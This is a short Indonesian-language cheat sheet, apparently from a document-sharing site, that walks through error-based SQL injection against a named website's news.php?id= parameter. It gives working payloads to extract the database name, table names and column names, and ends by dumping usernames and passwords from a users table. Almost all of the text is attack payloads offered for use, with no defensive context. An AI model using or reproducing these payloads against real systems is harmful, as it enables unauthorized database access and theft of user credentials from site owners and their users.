http://www.techvision.co.uk/news.php?

id=45 and (select 1 from (select count(*),c oncat((select(select concat(cast(database() as char),0x7e)) from information_sch ema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from info rmation_schema.tables group by x)a) buat nyari database -------------------------------and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() li mit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) buat nyari table name pake limit 2,1) _____________________________________________ and (select 1 from (select count(*),concat((select(select concat(cast(column_nam e as char),0x7e)) from information_schema.columns where table_name=0xHEX-table l imit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) baut nyari columnns :D contoh http://www.techvision.co.uk/news.php?id=45 and (select 1 from (select count(*),c oncat((select(select concat(cast(column_name as char),0x7e)) from information_sc hema.columns where table_name=0x7573657273 ,floor(rand(0)*2))x from information_ schema.tables group by x)a) limit 1,1) = username limit 2,1) = password ------------------------------------------and (select 1 from (select count(*),concat((select(select concat(cast(concat(nam adatauser,0x7e,namadatapassword) as char),0x7e)) from namatable limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) buat finishing contoh http://www.techvision.co.uk/news.php?id=45 and (select 1 from (select count(*),c oncat((select(select concat(cast(concat(username,0x7e,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Sign up to vote on this title
UsefulNot useful